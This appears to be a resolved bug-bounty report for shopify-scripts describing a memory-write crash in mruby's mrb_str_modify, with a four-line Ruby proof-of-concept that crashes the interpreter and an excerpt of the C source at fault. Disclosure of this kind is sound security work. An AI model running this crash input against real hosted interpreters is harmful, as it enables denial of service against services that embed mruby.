mrb_str_modify try to write to memory not marked for writing
S
shopify-scripts
Submitted None
Actions:
Reported by
marotagem_vrt
Vulnerability Details
Technical details and impact analysis
The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing.
```
a = Time.new.zone
a.rstrip!
GC.start
a.next!
```
Code
https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668
```
if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) {
s->as.heap.ptr = shared->ptr;
s->as.heap.aux.capa = shared->len;
RSTR_PTR(s)[s->as.heap.len] = '\0';
mrb_free(mrb, shared);
}
```
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption